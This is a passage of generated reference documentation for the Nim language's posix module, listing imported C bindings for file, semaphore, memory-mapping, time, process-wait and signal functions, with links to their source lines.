"<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L551) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L551) ``` proc sync() {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L552) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L552) ``` proc sysconf(a1: cint): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L553) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L553) ``` proc tcgetpgrp(a1: cint): Pid {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L554) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L554) ``` proc tcsetpgrp(a1: cint; a2: Pid): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L555) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L555) ``` proc truncate(a1: cstring; a2: Off): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L556) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L556) ``` proc ttyname(a1: cint): cstring {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L557) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L557) ``` proc ttyname_r(a1: cint; a2: cstring; a3: int): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L558) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L558) ``` proc ualarm(a1, a2: Useconds): Useconds {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L560) ``` proc unlink(a1: cstring): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L561) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L561) ``` proc usleep(a1: Useconds): cint {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L562) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L562) ``` proc vfork(): Pid {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L563) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L563) ``` proc write(a1: cint; a2: pointer; a3: int): int {...}{.importc, header: "<unistd.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L564) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L564) ``` proc sem_close(a1: ptr Sem): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L566) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L566) ``` proc sem_destroy(a1: ptr Sem): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L567) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L567) ``` proc sem_getvalue(a1: ptr Sem; a2: var cint): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L568) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L568) ``` proc sem_init(a1: ptr Sem; a2: cint; a3: cint): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L570) ``` proc sem_open(a1: cstring; a2: cint): ptr Sem {...}{.varargs, importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L572) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L572) ``` proc sem_post(a1: ptr Sem): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L574) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L574) ``` proc sem_timedwait(a1: ptr Sem; a2: ptr Timespec): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L575) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L575) ``` proc sem_trywait(a1: ptr Sem): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L577) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L577) ``` proc sem_unlink(a1: cstring): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L578) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L578) ``` proc sem_wait(a1: ptr Sem): cint {...}{.importc, header: "<semaphore.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L579) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L579) ``` proc ftok(a1: cstring; a2: cint): Key {...}{.importc, header: "<sys/ipc.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L581) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L581) ``` proc statvfs(a1: cstring; a2: var Statvfs): cint {...}{.importc, header: "<sys/statvfs.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L583) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L583) ``` proc fstatvfs(a1: cint; a2: var Statvfs): cint {...}{.importc, header: "<sys/statvfs.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L585) ``` proc chmod(a1: cstring; a2: Mode): cint {...}{.importc, header: "<sys/stat.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L588) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L588) ``` proc fchmod(a1: cint; a2: Mode): cint {...}{.importc, header: "<sys/stat.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L589) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L589) ``` proc fstat(a1: cint; a2: var Stat): cint {...}{.importc, header: "<sys/stat.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L590) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L590) ``` proc lstat(a1: cstring; a2: var Stat): cint {...}{.importc, header: "<sys/stat.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L591) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L591) ``` proc mkdir(a1: cstring; a2: Mode): cint {...}{.importc, header: "<sys/stat.h>", sideEffect.} ``` Use [os.createDir()](os#createDir,string) and similar. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L592) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L592) ``` proc mkfifo(a1: cstring; a2: Mode): cint {...}{.importc, header: "<sys/stat.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L595) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L595) ``` proc mknod(a1: cstring; a2: Mode; a3: Dev): cint {...}{.importc, header: "<sys/stat.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L596) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L596) ``` proc stat(a1: cstring; a2: var Stat): cint {...}{.importc, header: "<sys/stat.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L598) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L598) ``` proc umask(a1: Mode): Mode {...}{.importc, header: "<sys/stat.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L599) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L599) ``` proc S_ISBLK(m: Mode): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a block special file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L601) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L601) ``` proc S_ISCHR(m: Mode): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a character special file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L603) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L603) ``` proc S_ISDIR(m: Mode): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a directory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L605) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L605) ``` proc S_ISFIFO(m: Mode): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a pipe or FIFO special file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L607) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L607) ``` proc S_ISREG(m: Mode): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a regular file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L609) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L609) ``` proc S_ISLNK(m: Mode): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a symbolic link. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L611) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L611) ``` proc S_ISSOCK(m: Mode): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a socket. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L613) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L613) ``` proc S_TYPEISMQ(buf: var Stat): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a message queue. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L616) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L616) ``` proc S_TYPEISSEM(buf: var Stat): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a semaphore. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L618) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L618) ``` proc S_TYPEISSHM(buf: var Stat): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test for a shared memory object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L620) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L620) ``` proc S_TYPEISTMO(buf: var Stat): bool {...}{.importc, header: "<sys/stat.h>".} ``` Test macro for a typed memory object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L623) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L623) ``` proc mlock(a1: pointer; a2: int): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L626) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L626) ``` proc mlockall(a1: cint): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L627) ``` proc mmap(a1: pointer; a2: int; a3, a4, a5: cint; a6: Off): pointer {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L628) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L628) ``` proc mprotect(a1: pointer; a2: int; a3: cint): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L630) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L630) ``` proc msync(a1: pointer; a2: int; a3: cint): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L632) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L632) ``` proc munlock(a1: pointer; a2: int): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L634) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L634) ``` proc munlockall(): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L635) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L635) ``` proc munmap(a1: pointer; a2: int): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L636) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L636) ``` proc posix_madvise(a1: pointer; a2: int; a3: cint): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L637) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L637) ``` proc posix_mem_offset(a1: pointer; a2: int; a3: var Off; a4: var int; a5: var cint): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L639) ``` proc posix_typed_mem_open(a1: cstring; a2, a3: cint): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L645) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L645) ``` proc shm_open(a1: cstring; a2: cint; a3: Mode): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L647) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L647) ``` proc shm_unlink(a1: cstring): cint {...}{.importc, header: "<sys/mman.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L649) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L649) ``` proc asctime(a1: var Tm): cstring {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L651) ``` proc asctime_r(a1: var Tm; a2: cstring): cstring {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L653) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L653) ``` proc clock(): Clock {...}{.importc, header: "<time.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L654) ``` proc clock_getcpuclockid(a1: Pid; a2: var ClockId): cint {...}{.importc, header: "<time.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L655) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L655) ``` proc clock_getres(a1: ClockId; a2: var Timespec): cint {...}{.importc, header: "<time.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L657) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L657) ``` proc clock_gettime(a1: ClockId; a2: var Timespec): cint {...}{.importc, header: "<time.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L659) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L659) ``` proc clock_nanosleep(a1: ClockId; a2: cint; a3: var Timespec; a4: var Timespec): cint {...}{. importc, header: "<time.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L661) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L661) ``` proc clock_settime(a1: ClockId; a2: var Timespec): cint {...}{.importc, header: "<time.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L663) ``` proc `==`(a, b: Time): bool {...}{.borrow.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L666) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L666) ``` proc `-`(a, b: Time): Time {...}{.borrow.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L667) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L667) ``` proc ctime(a1: var Time): cstring {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L668) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L668) ``` proc ctime_r(a1: var Time; a2: cstring): cstring {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L669) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L669) ``` proc difftime(a1, a2: Time): cdouble {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L670) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L670) ``` proc getdate(a1: cstring): ptr Tm {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L671) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L671) ``` proc gmtime(a1: var Time): ptr Tm {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L672) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L672) ``` proc gmtime_r(a1: var Time; a2: var Tm): ptr Tm {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L673) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L673) ``` proc localtime(a1: var Time): ptr Tm {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L674) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L674) ``` proc localtime_r(a1: var Time; a2: var Tm): ptr Tm {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L675) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L675) ``` proc mktime(a1: var Tm): Time {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L676) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L676) ``` proc timegm(a1: var Tm): Time {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L677) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L677) ``` proc nanosleep(a1, a2: var Timespec): cint {...}{.importc, header: "<time.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L678) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L678) ``` proc strftime(a1: cstring; a2: int; a3: cstring; a4: var Tm): int {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L679) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L679) ``` proc strptime(a1, a2: cstring; a3: var Tm): cstring {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L681) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L681) ``` proc time(a1: var Time): Time {...}{.importc, header: "<time.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L682) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L682) ``` proc timer_create(a1: ClockId; a2: var SigEvent; a3: var Timer): cint {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L683) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L683) ``` proc timer_delete(a1: Timer): cint {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L685) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L685) ``` proc timer_gettime(a1: Timer; a2: var Itimerspec): cint {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L686) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L686) ``` proc timer_getoverrun(a1: Timer): cint {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L688) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L688) ``` proc timer_settime(a1: Timer; a2: cint; a3: var Itimerspec; a4: var Itimerspec): cint {...}{. importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L689) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L689) ``` proc tzset() {...}{.importc, header: "<time.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L691) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L691) ``` proc wait(a1: ptr cint): Pid {...}{.importc, discardable, header: "<sys/wait.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L694) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L694) ``` proc waitid(a1: cint; a2: Id; a3: var SigInfo; a4: cint): cint {...}{.importc, header: "<sys/wait.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L695) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L695) ``` proc waitpid(a1: Pid; a2: var cint; a3: cint): Pid {...}{.importc, header: "<sys/wait.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L697) ``` proc wait4(pid: Pid; status: ptr cint; options: cint; rusage: ptr Rusage): Pid {...}{. importc, header: "<sys/wait.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L708) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L708) ``` proc getrusage(who: cint; rusage: ptr Rusage): cint {...}{.importc, header: "<sys/resource.h>", discardable.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L717) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L717) ``` proc bsd_signal(a1: cint; a2: proc (x: pointer) {...}{.noconv.}) {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L720) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L720) ``` proc kill(a1: Pid; a2: cint): cint {...}{.importc, header: "<signal.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L722) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L722) ``` proc killpg(a1: Pid; a2: cint): cint {...}{.importc, header: "<signal.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L723) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L723) ``` proc pthread_kill(a1: Pthread; a2: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L724) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L724) ``` proc pthread_sigmask(a1: cint; a2, a3: var Sigset): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L725) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L725) ``` proc `raise`(a1: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L727) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L727) ``` proc sigaction(a1: cint; a2, a3: var Sigaction): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L728) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L728) ``` proc sigaction(a1: cint; a2: var Sigaction; a3: ptr Sigaction = nil): cint {...}{. importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L731) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L731) ``` proc sigaddset(a1: var Sigset; a2: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L734) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L734) ``` proc sigaltstack(a1, a2: var Stack): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L735) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L735) ``` proc sigdelset(a1: var Sigset; a2: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L736) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L736) ``` proc sigemptyset(a1: var Sigset): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L737) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L737) ``` proc sigfillset(a1: var Sigset): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L738) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L738) ``` proc sighold(a1: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L739) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L739) ``` proc sigignore(a1: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L740) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L740) ``` proc siginterrupt(a1, a2: cint): cint {...}{.importc, header: "<signal.h>".} ``` 